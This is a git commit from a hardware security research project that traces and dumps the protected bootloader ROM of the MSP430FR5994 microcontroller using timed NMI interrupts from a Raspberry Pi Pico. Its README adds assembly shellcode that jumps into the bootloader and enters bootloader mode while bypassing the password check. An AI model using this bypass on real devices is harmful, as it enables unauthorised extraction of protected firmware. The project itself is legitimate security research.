NMI-based tracing works
This commit is contained in:
parent
a528472828
commit
53d514f247
104
README.md
104
README.md
|
@ -3,6 +3,25 @@
|
||||||
Tools to try to dump the MSP430FR BSL, mainly targetting the [MSP430FR5994
|
Tools to try to dump the MSP430FR BSL, mainly targetting the [MSP430FR5994
|
||||||
](https://www.ti.com/product/MSP430FR5994) (on an MSP-EXP430FR5994 devboard).
|
](https://www.ti.com/product/MSP430FR5994) (on an MSP-EXP430FR5994 devboard).
|
||||||
|
|
||||||
|
## Why
|
||||||
|
|
||||||
|
In 2009, Travis Goodspeed and Aurélien Francillon discovered that the [ROM BSL
|
||||||
|
in flash-based MSP430 units](https://www.ti.com/lit/ug/slau319ae/slau319ae.pdf)
|
||||||
|
can be used as a source of shellcode, ROP gadgets, and even called from
|
||||||
|
software to enable the BSL interface without authentication to read out an
|
||||||
|
otherwise protected firmware.
|
||||||
|
|
||||||
|
Since then, TI has made the mask ROM BSL in newer MSP430 models, such as the
|
||||||
|
MSP430FR5994, an execute-only area of memory. Furthermore, it can only be
|
||||||
|
called from the "Z-area", which is the first 8 bytes of the BSL memory area.
|
||||||
|
Jumping to other locations causes a reset of the microcontroller. Read accesses
|
||||||
|
to the BSL are likewise also forbidden. When JTAG/SBW is enabled, the BSL is
|
||||||
|
not usable at all.
|
||||||
|
|
||||||
|
However, it is still unclear whether these countermeasures are enough to stop
|
||||||
|
attacks that use the BSL as a shellcode, ROP gadget, or readout backdoor
|
||||||
|
source. Hence this project.
|
||||||
|
|
||||||
## The idea
|
## The idea
|
||||||
|
|
||||||
The MSP430FR bootloader ('BSL') resides at `0x1000`. This memory cannot be
|
The MSP430FR bootloader ('BSL') resides at `0x1000`. This memory cannot be
|
||||||
|
@ -84,6 +103,8 @@ described near the end, the article is quite large.
|
||||||
1. The BSL execution is allowed to be interrutped, thus the instruction flow
|
1. The BSL execution is allowed to be interrutped, thus the instruction flow
|
||||||
can be traced by dumping CPU register values throughout the BSL execution.
|
can be traced by dumping CPU register values throughout the BSL execution.
|
||||||
This allows for finding arbitrary read gadgets.
|
This allows for finding arbitrary read gadgets.
|
||||||
|
1. The routine at `0x1002` can also be used to return from interrupts, thus
|
||||||
|
also bypassing that protection.
|
||||||
|
|
||||||
## Vulnerabilities of the BSL against use as a source of ROP gadgets
|
## Vulnerabilities of the BSL against use as a source of ROP gadgets
|
||||||
|
|
||||||
|
@ -113,6 +134,8 @@ described near the end, the article is quite large.
|
||||||
at least not according to the techniques used here.) The first, documented
|
at least not according to the techniques used here.) The first, documented
|
||||||
BSL region cannot access the second region directly, it must also go through
|
BSL region cannot access the second region directly, it must also go through
|
||||||
the corresponding Z-area.
|
the corresponding Z-area.
|
||||||
|
1. The BSL command "RX Data Block Fast" has the exact same implementation as
|
||||||
|
the regular "RX Data Block" command. The name is a lie.
|
||||||
|
|
||||||
## What has not been checked
|
## What has not been checked
|
||||||
|
|
||||||
|
@ -121,7 +144,7 @@ described near the end, the article is quite large.
|
||||||
might differ from the executed address due to pipelining effects? (cf.
|
might differ from the executed address due to pipelining effects? (cf.
|
||||||
[MerryMage's GBA BIOS dump](https://mary.rs/lab/gbabios/)) NOTE: `0x0FFE` is
|
[MerryMage's GBA BIOS dump](https://mary.rs/lab/gbabios/)) NOTE: `0x0FFE` is
|
||||||
not backed by anything and always reads as 0, so getting this to work will
|
not backed by anything and always reads as 0, so getting this to work will
|
||||||
be tricky.
|
be tricky. The MSP430FR5994 does not seem to show open bus properties.
|
||||||
1. DMA: can a DMA transfer be used to change the stack contents during BSL
|
1. DMA: can a DMA transfer be used to change the stack contents during BSL
|
||||||
execution? (Most likely, just like interrupts can, I simply haven't checked.)
|
execution? (Most likely, just like interrupts can, I simply haven't checked.)
|
||||||
1. Dumping of the `0x1b00`..`0x1bff` region still needs to happen.
|
1. Dumping of the `0x1b00`..`0x1bff` region still needs to happen.
|
||||||
|
@ -141,11 +164,23 @@ with BSL 00.08.35.B3:
|
||||||
## Region 2 WIP stuff
|
## Region 2 WIP stuff
|
||||||
|
|
||||||
* `0x1b00` entrypoint: basically halts the CPU. Not very useful.
|
* `0x1b00` entrypoint: basically halts the CPU. Not very useful.
|
||||||
* `0x1b02` jumps to `0x1bc2` which almost immediately disables interrupts.
|
* `0x1b02` jumps to `0x1bc2` which almost immediately disables interrupts. This
|
||||||
|
code implements the "Mass Erase" command.
|
||||||
* `0x1b04` jumps to `0x1bd6` which almost immediately disables interrupts.
|
* `0x1b04` jumps to `0x1bd6` which almost immediately disables interrupts.
|
||||||
|
|
||||||
Haven't been able to get around the IRQ disable thing yet... TODO: try NMI? Or
|
None of these functions return. As there is no known usable gadget yet from in
|
||||||
some timer IRQ sneakiness to get around the IRQ disable code.
|
the second BSL region, the "interrupt disable" instructions cannot be skipped,
|
||||||
|
and thus timer interrupts cannot be used to trace the execution flow. However,
|
||||||
|
the NMI pin can still be used as an interrupt source, by sending
|
||||||
|
carefully-timed signals from another device, where the timer interrupt would
|
||||||
|
otherwise happen. This requires a bit more setup, but it is able to work just
|
||||||
|
fine.
|
||||||
|
|
||||||
|
Do note that, unlike with regular interrupts, the MSP430X CPU does need to
|
||||||
|
execute a `reti` instruction to reenable nonmaskable interrupts. As this would
|
||||||
|
normally return into the BSL from user code, doing this would cause a reset.
|
||||||
|
Luckily, it is still possible to change the program counter on the stack of the
|
||||||
|
address returned to, so the experiment can be restarted from the beginning.
|
||||||
|
|
||||||
## Proof of concept
|
## Proof of concept
|
||||||
|
|
||||||
|
@ -155,3 +190,64 @@ mode. Tested on an MSP430FR5994, but no other chips.
|
||||||
By setting the `DUMP_MODE` preprocessor definition to 0, it can instead be used
|
By setting the `DUMP_MODE` preprocessor definition to 0, it can instead be used
|
||||||
as an instruction tracer, accompanied by `logtracer.py`.
|
as an instruction tracer, accompanied by `logtracer.py`.
|
||||||
|
|
||||||
|
## Useful shellcode
|
||||||
|
|
||||||
|
### Jump to any location in the BSL
|
||||||
|
|
||||||
|
Works only for the first BSL region (`0x1000..0x1800`). `r14` will have fixed
|
||||||
|
value `0xBEEF`.
|
||||||
|
|
||||||
|
```asm
|
||||||
|
pushx.a #address_to_jump_to
|
||||||
|
push.w r12
|
||||||
|
push.w r13
|
||||||
|
mov.w #0xdead, r13
|
||||||
|
mov.w #0xbeef, r14
|
||||||
|
br #0x1002
|
||||||
|
```
|
||||||
|
|
||||||
|
### Return from an interrupt into the BSL
|
||||||
|
|
||||||
|
Works only for the first BSL region (`0x1000..0x1800`). Destroys `r14`.
|
||||||
|
|
||||||
|
```asm
|
||||||
|
push.w r12
|
||||||
|
push.w r13
|
||||||
|
mov.w #0xdead, r13
|
||||||
|
mov.w #0xbeef, r14
|
||||||
|
@ restore status register
|
||||||
|
mov.w 4(sp), sr
|
||||||
|
@ this will restore r12 and r13 and the perform a reta (discarding the sr
|
||||||
|
@ value which reti would preserve)
|
||||||
|
br #0x1002
|
||||||
|
```
|
||||||
|
|
||||||
|
### Enter bootloader mode, bypassing the password check, without clearing RAM
|
||||||
|
|
||||||
|
Do *not* send the BSL password authentication command.
|
||||||
|
|
||||||
|
Cf. Travis Goodspeed's BSL-reenable-shellcode ([a
|
||||||
|
](https://www.usenix.org/legacy/event/woot09/tech/full_papers/goodspeed.pdf),
|
||||||
|
[b](https://archive.org/details/Pocorgtfo02):5)
|
||||||
|
|
||||||
|
```asm
|
||||||
|
@ unlock the BSL
|
||||||
|
mov.w #0xa5a5, 0x1c00
|
||||||
|
@ this jumps to the initialization phase of the BSL, after the RAM clear
|
||||||
|
@ and BSL password-reset-to-not-yet-checked phase
|
||||||
|
@ this probably does need the clock set to 8 MHz to function correctly
|
||||||
|
pushx.a #0x16d4
|
||||||
|
push.w r12
|
||||||
|
push.w r13
|
||||||
|
mov.w #0xdead, r13
|
||||||
|
mov.w #0xbeef, r14
|
||||||
|
br #0x1002
|
||||||
|
```
|
||||||
|
|
||||||
|
Compare with the original, from PoC||GTFO 2:5:
|
||||||
|
|
||||||
|
```asm
|
||||||
|
mov #0xFFFF, r11 ;; Disable BSL password protection.
|
||||||
|
br &0x0c02 ;; Branch to the BSL Soft Entry Point
|
||||||
|
```
|
||||||
|
|
||||||
|
|
|
@ -48,7 +48,7 @@ MEMORY {
|
||||||
INFOB : ORIGIN = 0x1900, LENGTH = 0x0080 /* END=0x197F, size 128 */
|
INFOB : ORIGIN = 0x1900, LENGTH = 0x0080 /* END=0x197F, size 128 */
|
||||||
INFOC : ORIGIN = 0x1880, LENGTH = 0x0080 /* END=0x18FF, size 128 */
|
INFOC : ORIGIN = 0x1880, LENGTH = 0x0080 /* END=0x18FF, size 128 */
|
||||||
INFOD : ORIGIN = 0x1800, LENGTH = 0x0080 /* END=0x187F, size 128 */
|
INFOD : ORIGIN = 0x1800, LENGTH = 0x0080 /* END=0x187F, size 128 */
|
||||||
FRAM (rx) : ORIGIN = 0x4000, LENGTH = 0xBF80 /* END=0xFF7F, size 49024 */
|
FRAM (rx) : ORIGIN = 0xC000, LENGTH = 0x3F80 /* END=0xFF7F, size 49024 */
|
||||||
HIFRAM (rxw) : ORIGIN = 0x00010000, LENGTH = 0x00033FF7 /* Boundaries changed to fix CPU47 */
|
HIFRAM (rxw) : ORIGIN = 0x00010000, LENGTH = 0x00033FF7 /* Boundaries changed to fix CPU47 */
|
||||||
JTAGSIGNATURE : ORIGIN = 0xFF80, LENGTH = 0x0004
|
JTAGSIGNATURE : ORIGIN = 0xFF80, LENGTH = 0x0004
|
||||||
BSLSIGNATURE : ORIGIN = 0xFF84, LENGTH = 0x0004
|
BSLSIGNATURE : ORIGIN = 0xFF84, LENGTH = 0x0004
|
||||||
|
|
|
@ -30,12 +30,42 @@
|
||||||
#define PIN_ACK 16
|
#define PIN_ACK 16
|
||||||
#define PIN_UART 17
|
#define PIN_UART 17
|
||||||
|
|
||||||
|
#define PIN_ACT 18
|
||||||
|
#define PIN_STAT 19
|
||||||
|
|
||||||
#define PIO_UNIT pio0
|
#define PIO_UNIT pio0
|
||||||
#define PIOSM_UART 0
|
#define PIOSM_UART 0
|
||||||
#define PIOSM_TRIG 1
|
#define PIOSM_TRIG 1
|
||||||
|
|
||||||
#define UART_BAUD 9600
|
#define UART_BAUD 9600
|
||||||
|
|
||||||
|
/*static void act_irq(uint gpio, uint32_t ev) {
|
||||||
|
if (gpio != PIN_ACT) return;
|
||||||
|
|
||||||
|
//printf("ev: 0x%lx\n", ev);
|
||||||
|
if (ev & GPIO_IRQ_EDGE_FALL) {
|
||||||
|
if (ev & GPIO_IRQ_EDGE_RISE) {
|
||||||
|
//printf("wut\n");
|
||||||
|
} else {
|
||||||
|
//printf("fall\n");
|
||||||
|
//gpio_set_function(PIN_NMI, GPIO_FUNC_NULL);
|
||||||
|
const uint func = GPIO_FUNC_NULL;
|
||||||
|
hw_write_masked(&iobank0_hw->io[PIN_NMI].ctrl
|
||||||
|
, (func << IO_BANK0_GPIO0_CTRL_FUNCSEL_LSB)
|
||||||
|
, IO_BANK0_GPIO0_CTRL_FUNCSEL_BITS
|
||||||
|
);
|
||||||
|
}
|
||||||
|
} else if (ev & GPIO_IRQ_EDGE_RISE) {
|
||||||
|
//printf("rise\n");
|
||||||
|
//gpio_set_function(PIN_NMI, GPIO_FUNC_PIO0);
|
||||||
|
const uint func = GPIO_FUNC_PIO0;
|
||||||
|
hw_write_masked(&iobank0_hw->io[PIN_NMI].ctrl
|
||||||
|
, (func << IO_BANK0_GPIO0_CTRL_FUNCSEL_LSB)
|
||||||
|
, IO_BANK0_GPIO0_CTRL_FUNCSEL_BITS
|
||||||
|
);
|
||||||
|
}
|
||||||
|
}*/
|
||||||
|
|
||||||
static void init_gpio(void) {
|
static void init_gpio(void) {
|
||||||
const int func = GPIO_FUNC_PIO0;
|
const int func = GPIO_FUNC_PIO0;
|
||||||
|
|
||||||
|
@ -65,16 +95,34 @@ static void init_gpio(void) {
|
||||||
);
|
);
|
||||||
hw_write_masked(&iobank0_hw->io[PIN_NMI].ctrl
|
hw_write_masked(&iobank0_hw->io[PIN_NMI].ctrl
|
||||||
, (func << IO_BANK0_GPIO0_CTRL_FUNCSEL_LSB)
|
, (func << IO_BANK0_GPIO0_CTRL_FUNCSEL_LSB)
|
||||||
| ((uint)(PIN_NMI_POL ? GPIO_OVERRIDE_INVERT
|
| ((uint)(/*PIN_NMI_POL ?*/ GPIO_OVERRIDE_NORMAL//INVERT
|
||||||
: GPIO_OVERRIDE_NORMAL) << IO_BANK0_GPIO0_CTRL_OUTOVER_LSB)
|
/*: GPIO_OVERRIDE_NORMAL*/) << IO_BANK0_GPIO0_CTRL_OUTOVER_LSB)
|
||||||
, IO_BANK0_GPIO0_CTRL_FUNCSEL_BITS | IO_BANK0_GPIO0_CTRL_OUTOVER_BITS
|
, IO_BANK0_GPIO0_CTRL_FUNCSEL_BITS | IO_BANK0_GPIO0_CTRL_OUTOVER_BITS
|
||||||
);
|
);
|
||||||
|
gpio_set_outover(PIN_NMI, GPIO_OVERRIDE_INVERT);
|
||||||
|
|
||||||
sio_hw->gpio_clr = 1u << PIN_ACK;
|
sio_hw->gpio_clr = 1u << PIN_ACK;
|
||||||
sio_hw->gpio_oe_set = 1u << PIN_ACK;
|
sio_hw->gpio_oe_set = 1u << PIN_ACK;
|
||||||
gpio_init(PIN_ACK);
|
gpio_init(PIN_ACK);
|
||||||
gpio_set_dir(PIN_ACK, GPIO_OUT);
|
gpio_set_dir(PIN_ACK, GPIO_OUT);
|
||||||
gpio_set_function(PIN_ACK, GPIO_FUNC_SIO);
|
gpio_set_function(PIN_ACK, GPIO_FUNC_SIO);
|
||||||
|
|
||||||
|
sio_hw->gpio_oe_clr = 1u << PIN_ACT;
|
||||||
|
gpio_init(PIN_ACT);
|
||||||
|
gpio_set_dir(PIN_ACT, GPIO_IN);
|
||||||
|
gpio_set_function(PIN_ACT, GPIO_FUNC_SIO);
|
||||||
|
|
||||||
|
sio_hw->gpio_set = 1u << PIN_STAT;
|
||||||
|
sio_hw->gpio_oe_set = 1u << PIN_STAT;
|
||||||
|
gpio_init(PIN_STAT);
|
||||||
|
gpio_put(PIN_STAT, true);
|
||||||
|
gpio_set_dir(PIN_STAT, GPIO_OUT);
|
||||||
|
gpio_set_function(PIN_STAT, GPIO_FUNC_SIO);
|
||||||
|
|
||||||
|
const int irq = PIO0_IRQ_1;
|
||||||
|
irq_set_enabled(irq, false);
|
||||||
|
irq_set_priority(irq, PICO_HIGHEST_IRQ_PRIORITY);
|
||||||
|
irq_set_enabled(irq, true);
|
||||||
}
|
}
|
||||||
|
|
||||||
static uint off_uart, off_trig;
|
static uint off_uart, off_trig;
|
||||||
|
@ -84,15 +132,16 @@ static void init_pio(void) {
|
||||||
|
|
||||||
off_trig = pio_add_program(PIO_UNIT, &trigctl_program);
|
off_trig = pio_add_program(PIO_UNIT, &trigctl_program);
|
||||||
trigctl_pio_init(PIO_UNIT, PIOSM_TRIG, off_trig,
|
trigctl_pio_init(PIO_UNIT, PIOSM_TRIG, off_trig,
|
||||||
trig_source_pin, PIN_NMI, PIN_TRIGGER, PIN_TRIGGER_POL,
|
trig_source_pin, PIN_NMI, PIN_TRIGGER,
|
||||||
PIN_NMI_POL, true, 125); // 1 MHz
|
//PIN_TRIGGER_POL, PIN_NMI_POL,
|
||||||
|
true, 5); // 25 MHz
|
||||||
|
|
||||||
const int irq = PIO0_IRQ_1;
|
/*const int irq = PIO0_IRQ_1;
|
||||||
irq_set_enabled(irq, false);
|
irq_set_enabled(irq, false);
|
||||||
trigctl_ack_glitch_irq(PIO_UNIT, PIOSM_TRIG);
|
trigctl_ack_glitch_irq(PIO_UNIT, PIOSM_TRIG);
|
||||||
trigctl_set_glitch_irq_enabled(PIO_UNIT, PIOSM_TRIG, 1, true);
|
trigctl_set_glitch_irq_enabled(PIO_UNIT, PIOSM_TRIG, 1, true);
|
||||||
irq_set_priority(irq, PICO_HIGHEST_IRQ_PRIORITY);
|
irq_set_priority(irq, PICO_HIGHEST_IRQ_PRIORITY);
|
||||||
irq_set_enabled(irq, true);
|
irq_set_enabled(irq, true);*/
|
||||||
}
|
}
|
||||||
|
|
||||||
static bool uart_poll_ch(uint8_t* ch) {
|
static bool uart_poll_ch(uint8_t* ch) {
|
||||||
|
@ -107,23 +156,31 @@ static bool uart_poll_ch(uint8_t* ch) {
|
||||||
int main() {
|
int main() {
|
||||||
stdio_init_all();
|
stdio_init_all();
|
||||||
|
|
||||||
init_gpio();
|
|
||||||
init_pio();
|
init_pio();
|
||||||
|
init_gpio();
|
||||||
|
|
||||||
while (!stdio_usb_connected());
|
/*gpio_set_irq_enabled_with_callback(PIN_ACT,
|
||||||
|
GPIO_IRQ_EDGE_RISE|GPIO_IRQ_EDGE_FALL, true, act_irq);*/
|
||||||
|
|
||||||
|
const uint LED_PIN = PICO_DEFAULT_LED_PIN;
|
||||||
|
gpio_init(LED_PIN);
|
||||||
|
gpio_set_dir(LED_PIN, GPIO_OUT);
|
||||||
|
gpio_put(LED_PIN, true);
|
||||||
|
|
||||||
|
//while (!stdio_usb_connected());
|
||||||
|
|
||||||
uint32_t delay = 1;
|
uint32_t delay = 1;
|
||||||
const uint32_t len = 2;
|
const uint32_t len = 16;
|
||||||
|
|
||||||
while (true) {
|
while (true) {
|
||||||
if (pio_sm_is_tx_fifo_empty(PIO_UNIT, PIOSM_TRIG)) {
|
if (pio_sm_is_tx_fifo_empty(PIO_UNIT, PIOSM_TRIG)) {
|
||||||
printf("push offlen\n");
|
//printf("push offlen\n");
|
||||||
trigctl_push_off_len(PIO_UNIT, PIOSM_TRIG, delay, len);
|
trigctl_push_off_len(PIO_UNIT, PIOSM_TRIG, delay*25, len*25);
|
||||||
}
|
}
|
||||||
|
|
||||||
uint8_t ch;
|
uint8_t ch;
|
||||||
if (uart_poll_ch(&ch)) {
|
if (uart_poll_ch(&ch)) {
|
||||||
printf("got cmd: %c\n", ch);
|
//printf("got cmd: %c\n", ch);
|
||||||
switch (ch) {
|
switch (ch) {
|
||||||
case '0': delay = 1; break;
|
case '0': delay = 1; break;
|
||||||
case '+': ++delay; break;
|
case '+': ++delay; break;
|
||||||
|
@ -131,17 +188,17 @@ int main() {
|
||||||
default: goto noack;
|
default: goto noack;
|
||||||
}
|
}
|
||||||
|
|
||||||
printf("send ack\n");
|
//printf("send ack\n");
|
||||||
sio_hw->gpio_set = 1u << PIN_ACK;
|
sio_hw->gpio_set = 1u << PIN_ACK;
|
||||||
busy_wait_us_32(50);
|
busy_wait_us_32(50);
|
||||||
sio_hw->gpio_clr = 1u << PIN_ACK;
|
sio_hw->gpio_clr = 1u << PIN_ACK;
|
||||||
printf("sent ack\n");
|
//printf("sent ack\n");
|
||||||
|
|
||||||
noack:;
|
noack:;
|
||||||
}
|
}
|
||||||
|
|
||||||
if (PIO_UNIT->irq & (1u << PIOSM_TRIG)) {
|
if (PIO_UNIT->irq & (1u << PIOSM_TRIG)) {
|
||||||
printf("sent nmi\n");
|
//printf("sent nmi\n");
|
||||||
trigctl_ack_glitch_irq(PIO_UNIT, PIOSM_TRIG);
|
trigctl_ack_glitch_irq(PIO_UNIT, PIOSM_TRIG);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
|
@ -46,8 +46,8 @@ enum trigctl_source {
|
||||||
};
|
};
|
||||||
|
|
||||||
static inline void trigctl_pio_init(PIO pio, uint sm, uint prog_offs,
|
static inline void trigctl_pio_init(PIO pio, uint sm, uint prog_offs,
|
||||||
enum trigctl_source trigsrc, uint glitch_pin, uint trig_pin,
|
enum trigctl_source trigsrc, uint glitch_pin, uint trig_pin/*,
|
||||||
enum glitch_polarity trig_in_pol, enum glitch_polarity glitch_out_pol
|
enum glitch_polarity trig_in_pol, enum glitch_polarity glitch_out_pol*/
|
||||||
, bool enable, int divider) {
|
, bool enable, int divider) {
|
||||||
pio_sm_set_enabled(pio, sm, false);
|
pio_sm_set_enabled(pio, sm, false);
|
||||||
|
|
||||||
|
|
248
src/main.c
248
src/main.c
|
@ -31,7 +31,13 @@ static void setup_io(void) {
|
||||||
P1OUT &= ~BIT5;
|
P1OUT &= ~BIT5;
|
||||||
P1DIR &= ~BIT5;
|
P1DIR &= ~BIT5;
|
||||||
P1SEL0 &= ~BIT5;
|
P1SEL0 &= ~BIT5;
|
||||||
P2SEL0 &= ~BIT5;
|
P1SEL1 &= ~BIT5;
|
||||||
|
|
||||||
|
P3OUT |= BIT0; P3OUT &= ~BIT2;
|
||||||
|
P3DIR |= BIT0; P3DIR &= ~BIT2;
|
||||||
|
P3REN = BIT2; // enable PDR on P3.1
|
||||||
|
P3SEL0 &= ~(BIT0|BIT2);
|
||||||
|
P3SEL1 &= ~(BIT0|BIT2);
|
||||||
|
|
||||||
// uart to pico (eUSCI_A3)
|
// uart to pico (eUSCI_A3)
|
||||||
P6OUT = BIT0;
|
P6OUT = BIT0;
|
||||||
|
@ -63,51 +69,67 @@ static void pico_wait_ack(void) {
|
||||||
|
|
||||||
// ---
|
// ---
|
||||||
|
|
||||||
__attribute__((__persistent__)) // put in FRAM (BSL clears RAM)
|
|
||||||
static uint32_t regbak[16]={0};
|
|
||||||
__attribute__((__persistent__))
|
|
||||||
static uint8_t stackbak[16]={0};
|
|
||||||
|
|
||||||
extern uint16_t curticks, curticks_;
|
|
||||||
__attribute__((__persistent__, __used__))
|
|
||||||
uint16_t curticks = 1;
|
|
||||||
__attribute__((__persistent__, __used__))
|
|
||||||
uint16_t curticks_ = 1;
|
|
||||||
|
|
||||||
extern uint16_t done_irq;
|
|
||||||
__attribute__((__persistent__, __used__))
|
|
||||||
uint16_t done_irq = 0;
|
|
||||||
|
|
||||||
|
|
||||||
extern uint16_t curaddr;
|
|
||||||
__attribute__((__persistent__, __used__))
|
|
||||||
uint16_t curaddr = 0x1000;
|
|
||||||
|
|
||||||
/*extern uint16_t traceaddr;
|
|
||||||
__attribute__((__persistent__))
|
|
||||||
uint16_t traceaddr = 0x1000; // changeme*/
|
|
||||||
|
|
||||||
typedef void (*bsl_fn)(void);
|
|
||||||
|
|
||||||
#define START_HARD 1/*36000*/
|
#define START_HARD 1/*36000*/
|
||||||
/*#define START_SOFT 36990*/
|
/*#define START_SOFT 36990*/
|
||||||
#define END_CYC 0xffffu
|
#define END_CYC 0xffffu
|
||||||
/*#define SKIP_CYC_OFF 5*/
|
/*#define SKIP_CYC_OFF 5*/
|
||||||
|
|
||||||
// DUMP_MODE == 0 => insn trace mode
|
// DUMP_MODE == 0 => insn trace mode
|
||||||
#define DUMP_MODE 1
|
#define DUMP_MODE 0
|
||||||
#define DUMP_CYC_OFF 14
|
#define DUMP_CYC_OFF 14
|
||||||
#define DUMP_ADDR_START 0x1000
|
#define DUMP_ADDR_START (0x1000+2) /* there's an off-by-4 error */
|
||||||
#define DUMP_ADDR_END 0x1800
|
#define DUMP_ADDR_END 0x1800
|
||||||
|
|
||||||
|
#define USE_NMI 1
|
||||||
|
|
||||||
|
#if USE_NMI
|
||||||
|
#define STORAGE
|
||||||
|
#define CODESP __attribute__((__section__(".lower.data")))
|
||||||
|
#else
|
||||||
|
#define STORAGE __attribute__((__persistent__))
|
||||||
|
#define CODESP
|
||||||
|
#endif
|
||||||
|
|
||||||
|
STORAGE static uint32_t regbak[16]={0};
|
||||||
|
STORAGE static uint8_t stackbak[16]={0};
|
||||||
|
|
||||||
|
extern uint16_t curticks, curticks_;
|
||||||
|
STORAGE uint16_t curticks = 1;
|
||||||
|
STORAGE uint16_t curticks_ = 1;
|
||||||
|
|
||||||
|
extern uint16_t done_irq;
|
||||||
|
STORAGE uint16_t done_irq = 0;
|
||||||
|
|
||||||
|
|
||||||
|
extern uint16_t curaddr;
|
||||||
|
STORAGE uint16_t curaddr = 0x1000;
|
||||||
|
|
||||||
|
/*extern uint16_t traceaddr;
|
||||||
|
__attribute__((__persistent__))
|
||||||
|
uint16_t traceaddr = 0x1000; // changeme*/
|
||||||
|
|
||||||
void do_trace(void);
|
void do_trace(void);
|
||||||
__attribute__((__no_inline__)) void do_trace(void) {
|
__attribute__((
|
||||||
|
#if USE_NMI
|
||||||
|
__section__(".lower.data")
|
||||||
|
#endif
|
||||||
|
, __no_inline__, __used__))
|
||||||
|
void do_trace(void) {
|
||||||
|
const bool nmi = USE_NMI;
|
||||||
|
P1OUT ^= BIT1;
|
||||||
|
|
||||||
// TODO: chain 2 timers for 32 bit tick number
|
// TODO: chain 2 timers for 32 bit tick number
|
||||||
// TODO: continue instead of restarting?
|
// TODO: continue instead of restarting?
|
||||||
// ^: mightn't be possible: instruction exec restarts after irq
|
// ^: mightn't be possible: instruction exec restarts after irq
|
||||||
|
|
||||||
// init timer TA0
|
// init timer TA0
|
||||||
__bic_SR_register(GIE);
|
__bic_SR_register(GIE);
|
||||||
|
if (nmi) {
|
||||||
|
done_irq = 1;
|
||||||
|
|
||||||
|
SFRIE1 = NMIIE;
|
||||||
|
SFRRPCR = SYSRSTRE__ENABLE | SYSRSTUP__PULLUP | SYSNMIIES__FALLING | SYSNMI__NMI;
|
||||||
|
} else {
|
||||||
#if DUMP_MODE
|
#if DUMP_MODE
|
||||||
//traceaddr = 0x1002;
|
//traceaddr = 0x1002;
|
||||||
TA1CCR0 = DUMP_CYC_OFF;
|
TA1CCR0 = DUMP_CYC_OFF;
|
||||||
|
@ -127,9 +149,12 @@ __attribute__((__no_inline__)) void do_trace(void) {
|
||||||
//TA1CCTL0 |= CCIFG;
|
//TA1CCTL0 |= CCIFG;
|
||||||
//TA1CCTL0 &= ~(CCIE|CCIFG);
|
//TA1CCTL0 &= ~(CCIE|CCIFG);
|
||||||
TA1CCTL0 = CCIE;
|
TA1CCTL0 = CCIE;
|
||||||
|
}
|
||||||
// exec bsl
|
// exec bsl
|
||||||
asm volatile(
|
asm volatile(
|
||||||
|
//#if !USE_NMI
|
||||||
"mov.a #(__stack-8), sp\n"
|
"mov.a #(__stack-8), sp\n"
|
||||||
|
//#endif
|
||||||
"mov.w #0xaaaa, r4\n"
|
"mov.w #0xaaaa, r4\n"
|
||||||
"mov.w #0xaaaa, r5\n"
|
"mov.w #0xaaaa, r5\n"
|
||||||
"mov.w #0xaaaa, r6\n"
|
"mov.w #0xaaaa, r6\n"
|
||||||
|
@ -147,18 +172,21 @@ __attribute__((__no_inline__)) void do_trace(void) {
|
||||||
// extra 0x1002 magic
|
// extra 0x1002 magic
|
||||||
"mov.w curaddr, sp\n"
|
"mov.w curaddr, sp\n"
|
||||||
#endif
|
#endif
|
||||||
|
#if USE_NMI
|
||||||
|
// send trigger
|
||||||
|
"bis.w #0x10, P1OUT\n"
|
||||||
|
#else
|
||||||
//TA1CTL = TASSEL__SMCLK | ID__1 | MC__UP | TACLR | TAIE;
|
//TA1CTL = TASSEL__SMCLK | ID__1 | MC__UP | TACLR | TAIE;
|
||||||
"mov.w #0x0216, TA1CTL\n"
|
"mov.w #0x0216, TA1CTL\n"
|
||||||
"eint\n"
|
"eint\n"
|
||||||
"call #0x1002\n" // CHANGEME (address to trace insn flow of)
|
#endif
|
||||||
/*"nop\n"
|
|
||||||
"nop\n"
|
"nop\n"
|
||||||
"nop\n"
|
"nop\n"
|
||||||
"nop\n"
|
"nop\n"
|
||||||
"nop\n"
|
"nop\n"
|
||||||
"nop\n"
|
"nop\n"
|
||||||
//"mov.w #0x1337, r8\n"
|
"nop\n"
|
||||||
|
"mov.w #0x1337, r8\n"
|
||||||
"dint\nnop\n"
|
"dint\nnop\n"
|
||||||
"add.w #-1, r4\n"
|
"add.w #-1, r4\n"
|
||||||
"add.w #1, r5\n"
|
"add.w #1, r5\n"
|
||||||
|
@ -180,36 +208,59 @@ __attribute__((__no_inline__)) void do_trace(void) {
|
||||||
"add.w #2, r6\n"
|
"add.w #2, r6\n"
|
||||||
"add.w #4, r7\n"
|
"add.w #4, r7\n"
|
||||||
"add.w #8, r8\n"
|
"add.w #8, r8\n"
|
||||||
"1: jmp 1b\n"*/
|
|
||||||
|
"pushx.a #1f\n"
|
||||||
|
"push.w r12\n"
|
||||||
|
"push.w r13\n"
|
||||||
|
"mov.w #0, r12\n"
|
||||||
|
"mov.w #0xdead, r13\n"
|
||||||
|
"mov.w #0xbeef, r14\n"
|
||||||
|
"br #0x1002\n" // CHANGEME (address to trace insn flow of)
|
||||||
|
//#if !USE_NMI
|
||||||
|
"1: jmp 1b\n"
|
||||||
|
//#endif
|
||||||
);
|
);
|
||||||
//while (1) ;
|
//#if !USE_NMI
|
||||||
|
while (1) ;
|
||||||
__builtin_unreachable();
|
__builtin_unreachable();
|
||||||
|
//#endif
|
||||||
}
|
}
|
||||||
|
|
||||||
void do_collect(uint16_t* sp);
|
void do_collect(uint16_t* sp);
|
||||||
__attribute__((__used__, __no_inline__))
|
__attribute__((__used__, __no_inline__
|
||||||
|
#if USE_NMI
|
||||||
|
, __section__(".lower.data")
|
||||||
|
#endif
|
||||||
|
))
|
||||||
void do_collect(uint16_t* sp) {
|
void do_collect(uint16_t* sp) {
|
||||||
|
#if USE_NMI
|
||||||
|
// ack nmi
|
||||||
|
SFRIFG1 &= ~NMIIFG;
|
||||||
|
SYSUNIV = 0;
|
||||||
|
|
||||||
|
P1OUT &= ~BIT4; // lower trigger signal
|
||||||
|
pico_send_cmd('+'); // increase delay until nmi
|
||||||
|
pico_wait_ack();
|
||||||
|
|
||||||
|
SFRIE1 = NMIIE;
|
||||||
|
SFRRPCR = SYSRSTRE__ENABLE | SYSRSTUP__PULLUP | SYSNMIIES__FALLING | SYSNMI__NMI;
|
||||||
|
#else
|
||||||
//P1OUT=0;
|
//P1OUT=0;
|
||||||
TA1CTL &= ~(uint16_t)(TAIE|MC__UP);
|
TA1CTL &= ~(uint16_t)(TAIE|MC__UP);
|
||||||
|
#endif
|
||||||
